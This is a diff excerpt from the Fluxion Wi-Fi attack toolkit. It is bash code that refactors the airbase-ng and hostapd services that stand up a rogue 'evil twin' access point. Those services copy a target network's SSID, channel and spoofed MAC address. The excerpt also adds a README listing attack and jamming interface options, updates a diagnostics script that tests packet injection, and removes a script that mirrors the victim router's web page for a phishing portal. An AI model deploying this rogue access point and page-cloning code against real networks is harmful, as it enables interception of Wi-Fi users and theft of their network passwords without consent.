local __interface_prompt__ifAvailableColor=()
local __interface_prompt__ifAvailableState=()
local -r __interface_reidentify__oldIdentifier=$1
local -r __interface_reidentify__newIdentifier=$2
local __interface_prompt__ifCandidate
for __interface_prompt__ifCandidate in "${__interface_prompt__ifAvailable[@]}"; do
interface_chipset "$__interface_prompt__ifCandidate"
__interface_prompt__ifAvailableInfo+=("$InterfaceChipset")
interface_state "$__interface_prompt__ifCandidate"
if [ "$InterfaceState" = "up" ]; then
__interface_prompt__ifAvailableColor+=("$CPrp")
__interface_prompt__ifAvailableState+=("[-]")
else
__interface_prompt__ifAvailableColor+=("$CClr")
__interface_prompt__ifAvailableState+=("[+]")
fi
done
# The following conditional is required since io_query_format_fields
# only considers the the size of the first parameter, available color.
if [ "$6" ]; then # Add alternative choices
__interface_prompt__ifAvailable+=("${!3}")
__interface_prompt__ifAvailableInfo+=("${!4}")
__interface_prompt__ifAvailableState+=("${!5}")
__interface_prompt__ifAvailableColor+=("${!6}")
if [[ $__interface_reidentify__newIdentifier == *" "* ]]
then return 2
fi
# If only one interface exists and it's available, choose it.
if [ "${#__interface_prompt__ifAvailable[@]}" -eq 1 -a "${__interface_prompt__ifAvailableState[0]}" = "[+]" ]; then
InterfacePromptWISelected="${__interface_prompt__ifAvailable[0]}"
InterfacePromptWISelectedState="[+]" # It passed the condition, it must be +
InterfacePromptWISelectedInfo="${__interface_prompt__ifAvailableInfo[0]}"
else
format_apply_autosize "$CRed[$CSYel%1d$CClr$CRed]%b %-8b %3s$CClr %-*.*s\n"
io_query_format_fields "$1" "$FormatApplyAutosize" \
__interface_prompt__ifAvailableColor[@] __interface_prompt__ifAvailable[@] \
__interface_prompt__ifAvailableState[@] __interface_prompt__ifAvailableInfo[@]
echo
InterfacePromptIfSelected="${IOQueryFormatFields[1]}"
InterfacePromptIfSelectedState="${IOQueryFormatFields[2]}"
InterfacePromptWISelectedInfo="${IOQueryFormatFields[3]}"
if ! interface_set_state $__interface_reidentify__oldIdentifier down
then return 3
fi
# TODO: Add alternatives to 'ip' in case of failure.
ip link set $__interface_reidentify__oldIdentifier name $__interface_reidentify__newIdentifier
return $?
}
# FLUXSCRIPT END

View File

@ -3,55 +3,87 @@
# ================================================================
# Configuration Section
# ================================================================
VIGW="at0"
VIAP=$WIAccessPoint
# airbase-ng uses a monitor-mode virtual interface
# and creates a separate interface, atX, for dhcpd.
VIAPAddress="$VIGWNetwork.2"
# APServiceConfigDirectory=$FLUXIONWorkspacePath
#APServiceConfigDirectory=$FLUXIONWorkspacePath
# ================================================================
#if [ "$APServiceVersion" ]; then return 0; fi
#readonly APServiceVersion="1.0"
function ap_stop() {
if [ "$APServicePID" ]; then kill $APServicePID &>$FLUXIONOutputDevice
function ap_service_stop() {
if [ "$APServicePID" ]; then
kill $APServicePID &> $FLUXIONOutputDevice
fi
APServicePID=""
}
function ap_reset() {
ap_stop
function ap_service_reset() {
ap_service_stop
APServiceAccessInterface=""
APServiceChannel=""
APServiceMAC=""
APServiceSSID=""
APServiceInterfaceAddress=""
APServiceInterface=""
}
function ap_route() {
ifconfig $VIAP $VIAPAddress netmask 255.255.255.0
sysctl net.ipv6.conf.at0.disable_ipv6=1 &>$FLUXIONOutputDevice
function ap_service_route() {
local networkSubnet=${APServiceInterfaceAddress%.*}
local networkAddress=$(( ( ${APServiceInterfaceAddress##*.} + 1 ) % 255 ))
if [ $hostID -eq 0 ]; then
let hostID++
fi
# TODO: Dynamically get the airbase-ng tap interface & use below.
# WARNING: Notice the interface below is STATIC, it'll break eventually!
if ! ifconfig "at0" $networkSubnet.$networkAddress \
netmask 255.255.255.0; then
return 1
fi
if ! sysctl net.ipv6.conf.at0.disable_ipv6=1 &> $FLUXIONOutputDevice; then
return 2
fi
}
function ap_prep() {
ap_stop
function ap_service_prep() {
if [ ${#@} -lt 5 ]; then return 1; fi
APServiceInterface=$1
APServiceInterfaceAddress=$2
APServiceSSID=$3
APServiceMAC=$4
APServiceChannel=$5
ap_service_stop
# Spoof virtual interface MAC address.
# This is done by airbase-ng automatically.
# airbase-ng uses a monitor-mode virtual interface
# and creates a separate interface, atX, for dhcpd.
APServiceAccessInterface="at0"
}
function ap_start() {
ap_stop
function ap_service_start() {
ap_service_stop
xterm $FLUXIONHoldXterm $TOP -bg "#000000" -fg "#FFFFFF" -title "FLUXION AP Service [airbase-ng]" -e airbase-ng -P -e $APTargetSSID -c $APTargetChannel -a $APRogueMAC $VIAP &
xterm $FLUXIONHoldXterm $TOP -bg "#000000" -fg "#FFFFFF" \
-title "FLUXION AP Service [airbase-ng]" -e \
airbase-ng -P -e $APServiceSSID -c $APServiceChannel \
-a $APServiceMAC $APServiceInterface &
local parentPID=$!
# Wait till airebase-ng has started and created the extra virtual interface.
# Wait till airebase-ng starts and creates the extra virtual interface.
while [ ! "$APServicePID" ]; do
sleep 1
APServicePID=$(pgrep -P $parentPID)
done
ap_route
ap_service_route
}
# FLUXSCRIPT END

View File

@ -3,69 +3,87 @@
# ================================================================
# Configuration Section
# ================================================================
VIGW=$WIAccessPoint
VIAP=$WIAccessPoint
# HostAPD sets the virtual interface mode
# to master, which is supported by dhcpd.
VIAPAddress=$VIGWAddress
APServiceConfigDirectory=$FLUXIONWorkspacePath
# ================================================================
#if [ "$APServiceVersion" ]; then return 0; fi
#readonly APServiceVersion="1.0"
function ap_stop() {
if [ "$APServicePID" ]; then kill $APServicePID &>$FLUXIONOutputDevice
function ap_service_stop() {
if [ "$APServicePID" ]; then
kill $APServicePID &> $FLUXIONOutputDevice
fi
APServicePID=""
}
function ap_reset() {
ap_stop
function ap_service_reset() {
ap_service_stop
# Reset MAC address to original.
ifconfig $VIAP down
ifconfig $APServiceInterface down
sleep 0.5
macchanger -p $VIAP &>$FLUXIONOutputDevice
macchanger -p $APServiceInterface &> $FLUXIONOutputDevice
sleep 0.5
ifconfig $VIAP up
ifconfig $APServiceInterface up
sleep 0.5
APServiceAccessInterface=""
APServiceChannel=""
APServiceMAC=""
APServiceSSID=""
APServiceInterfaceAddress=""
APServiceInterface=""
}
function ap_route() {
echo "APService: No custom routes for hostapd" >$FLUXIONOutputDevice
function ap_service_route() {
echo "APService: No custom routes for hostapd" > $FLUXIONOutputDevice
}
function ap_prep() {
ap_stop
function ap_service_prep() {
if [ ${#@} -lt 5 ]; then return 1; fi
APServiceInterface=$1
APServiceInterfaceAddress=$2
APServiceSSID=$3
APServiceMAC=$4
APServiceChannel=$5
ap_service_stop
# Prepare the hostapd config file.
echo "\
interface=$VIAP
interface=$APServiceInterface
driver=nl80211
ssid=$APTargetSSID
channel=$APTargetChannel" >"$APServiceConfigDirectory/$APRogueMAC-hostapd.conf"
ssid=$APServiceSSID
channel=$APServiceChannel" \
> "$APServiceConfigDirectory/$APServiceMAC-hostapd.conf"
# Spoof virtual interface MAC address.
ifconfig $VIAP down
ifconfig $APServiceInterface down
sleep 0.5
macchanger --mac=$APRogueMAC $VIAP &>$FLUXIONOutputDevice
macchanger --mac=$APServiceMAC $APServiceInterface &> $FLUXIONOutputDevice
sleep 0.5
ifconfig $VIAP up
ifconfig $APServiceInterface up
sleep 0.5
# HostAPD sets the virtual interface mode
# to master, which is supported by dhcpd.
APServiceAccessInterface=$APServiceInterface
}
function ap_start() {
ap_stop
function ap_service_start() {
ap_service_stop
xterm $FLUXIONHoldXterm $TOP -bg "#000000" -fg "#FFFFFF" -title "FLUXION AP Service [hostapd]" -e hostapd "$APServiceConfigDirectory/$APRogueMAC-hostapd.conf" &
xterm $FLUXIONHoldXterm $TOP -bg "#000000" -fg "#FFFFFF" \
-title "FLUXION AP Service [hostapd]" -e \
hostapd "$APServiceConfigDirectory/$APServiceMAC-hostapd.conf" &
local parentPID=$!
# Wait till hostapd has started and its virtual interface is ready.
@ -74,7 +92,7 @@ function ap_start() {
APServicePID=$(pgrep -P $parentPID)
done
ap_route
ap_service_route
}
# FLUXSCRIPT END

19
misc/README.md Normal file
View File

@ -0,0 +1,19 @@
## Arguments table
| Arguments | Describtion |
| ------------- | ------------- |
| -a | Give a Attack |
| -e | Give a certain essid |
| -b | Give a certain bssid |
| -- | Maker is required |
| -a | Access point interface |
| -j | Jamming interface |
| -x | Use xterm instead of tmux |
| -v | Print version number |
| -d | Run fluxion in debug mode |
| -k | Kill wireless connection if it is connected |
| -m | Run fluxion in manual mode instead of auto |
| -l | Language |
## Samples
`./fluxion -a [ATTACK] -e [ESSID] -b [BSSID] -c [CHANNEL] -- -a [AP INTERFACE] -j [JAMMING INTERFACE]`

0
preferences/.gitkeep Normal file
View File

View File

@ -1,4 +1,6 @@
#!/ bin / bash
export FLUXIONDebug = 1 export FLUXIONWIKillProcesses =
1 export FLUXIONWIReloadDriver = 1
# These are the debug flags used by the script
export FLUXIONDebug=1
export FLUXIONWIKillProcesses=1
export FLUXIONWIReloadDriver=1

View File

@ -1,66 +1,89 @@
#!/bin/bash
if [ -d "lib" ]; then source lib/InterfaceUtils.sh
elif [ -d "../lib" ]; then source ../lib/InterfaceUtils.sh
clear
declare -r HEADER_SIZE="####"
# Diagnostic script
if [ -d "lib" ];then
source lib/InterfaceUtils.sh
elif [ -d "../lib" ];then
source ../lib/InterfaceUtils.sh
else
echo "YOU MUST EXECUTE THIS SCRIPT FROM FLUXION'S ROOT!"
echo -e "\033[31mError lib folder not found\033[0m"
exit 1
fi
if [ ! "$1" ]; then
echo "Usage ./scripts/diagnostics <wireless_interface>"
echo "Usage ./scripts/diagnostics [wireless_interface]"
exit 1
fi
echo "[ FLUXION Info ]"
if [ -f "./fluxion.sh" ]
then declare -r FLUXIONInfo=($(grep -oE "FLUXION(Version|Revision)=[0-9]+" fluxion.sh))
else declare -r FLUXIONInfo=($(grep -oE "FLUXION(Version|Revision)=[0-9]+" ../fluxion.sh))
echo "$HEADER_SIZE FLUXION Info"
if [ -f "fluxion" ];then
declare -r FLUXIONInfo=($(grep -oE "FLUXION(Version|Revision)=[0-9]+" fluxion))
else
declare -r FLUXIONInfo=($(grep -oE "FLUXION(Version|Revision)=[0-9]+" ../fluxion))
fi
echo "FLUXION V${FLUXIONInfo[0]/*=/}.${FLUXIONInfo[1]/*=/}"
echo -ne "\n\n"
echo "[ BASH Info ]"
echo "$HEADER_SIZE BASH Info "
bash --version
echo "Path: $(ls -L $(which bash))"
echo "**Path:** $(ls -L $(which bash))"
echo -ne "\n\n"
echo "[ Interface ($1) Info ]"
if interface_physical "$1"; then echo "Device: $InterfacePhysical"
else echo "Device: Unknown"
echo "$HEADER_SIZE Interface ($1) Info "
if interface_physical "$1";then
echo "**Device**: $InterfacePhysical"
else
echo "**Device:** Unknown"
fi
if interface_driver "$1"; then echo "Driver: $InterfaceDriver"
else echo "Driver: Unsupported"
if interface_driver "$1";then
echo "**Driver:** $InterfaceDriver"
else
echo "**Driver:** Unsupported"
fi
if interface_chipset "$1"; then echo "Chipset: $InterfaceChipset"
else echo "Chipset: Unknown"
if interface_chipset "$1";then
echo "**Chipset:** $InterfaceChipset"
else
echo "**Chipset:** Unknown"
fi
echo -n "Injection Test: "
aireplay-ng --test "$1" | grep -oE "Injection is working!|No Answer..." || echo "failed"
if iw list | grep monitor | head -n 1 | tail -n 1 &>/dev/null;then
echo "**Master Modes** Yes"
else
echo "**Master Modes** No"
fi
echo -n "**Injection Test:** "
aireplay-ng --test "$1" | grep -oE "Injection is working!|No Answer..." || echo -e "\033[31mFailed\033[0m"
echo -ne "\n\n"
echo "[ XTerm Info ]"
echo "Version: $(xterm -version)"
echo "Path: $(ls -L $(which xterm))"
echo "$HEADER_SIZE XTerm Infos"
echo "**Version:** $(xterm -version)"
echo "**Path:** $(ls -L $(which xterm))"
echo -n "Test: "
if xterm -hold -fg "#FFFFFF" -bg "#000000" -title "XServer/XTerm Test" -e "echo \"XServer/XTerm test: close window to continue...\"" &>/dev/null; then echo "XServer/XTerm success!"
else echo "XServer/XTerm failure!"
else
echo -e "\033[31m XServer/XTerm failure!\033[0m"
fi
echo -ne "\n\n"
echo "[ HostAPD Info ]"
echo "$HEADER_SIZE HostAPD Info"
hostapd -v
echo "Path: $(ls -L $(which hostapd))"
echo -ne "\n\n"
echo "[ Aircrack-ng Info ]"
echo "$HEADER_SIZE Aircrack-ng Info"
aircrack-ng -H | head -n 4
echo -ne "\n\n"
echo -ne "\n"
echo "[ System Info ]"
if [ -r "/proc/version" ]; then cat /proc/version
else uname -r
echo "$HEADER_SIZE System Info"
if [ -r "/proc/version" ]; then
echo "**Chipset:** $(cat /proc/version)"
else
echo "**Chipset:** $(uname -r)"
fi

View File

@ -1,70 +0,0 @@
#!/bin/bash
##################################### < CONFIGURATION > #####################################
gateway=$(ip route | grep default | awk '{print $3}')
#Colors
white="\033[1;37m"
red="\033[1;31m"
blue="\033[1;34m"
transparent="\e[0m"
#############################################################################################
clear
echo -e "$red[~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~]"
echo -e "$red Prepare router page."
echo -e "$blue[~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~]""$transparent"
echo "[i] Prepare dep."
# Check which package manager is installed
echo "Package Manager"
if hash pacman 2>/dev/null; then
PACK="pacman -S"
else
if hash apt-get 2>/dev/null; then
PACK="apt-get install"
else
if hash yum 2>/dev/null; then
PACK="yum install"
fi
fi
fi
sleep 0.025
echo "================================================================================="
echo -ne "Httrack........."
if ! hash httrack 2>/dev/null; then
echo -e "\e[1;31mNot installed"$transparent""
$PACK httrack
else
echo -e "\e[1;32mOK!"$transparent""
fi
sleep 0.025
echo "================================================================================="
echo -ne "cutycapt........"
if ! hash httrack 2>/dev/null; then
echo -e "\e[1;31mNot installed"$transparent""
$PACK cutycapt
else
echo -e "\e[1;32mOK!"$transparent""
fi
sleep 0.025
echo "================================================================================="
if [ ! -d sites ]; then
mkdir sites
fi
#############################################################################################
echo "[i] Download preview picture"
cutycapt --url=http://$gateway --out=sites/$(date | awk '{print $4}').png
echo "================================================================================="
cd sites
echo "[i] Download router site"
httrack $gateway
echo "================================================================================="
echo "[I] DONE"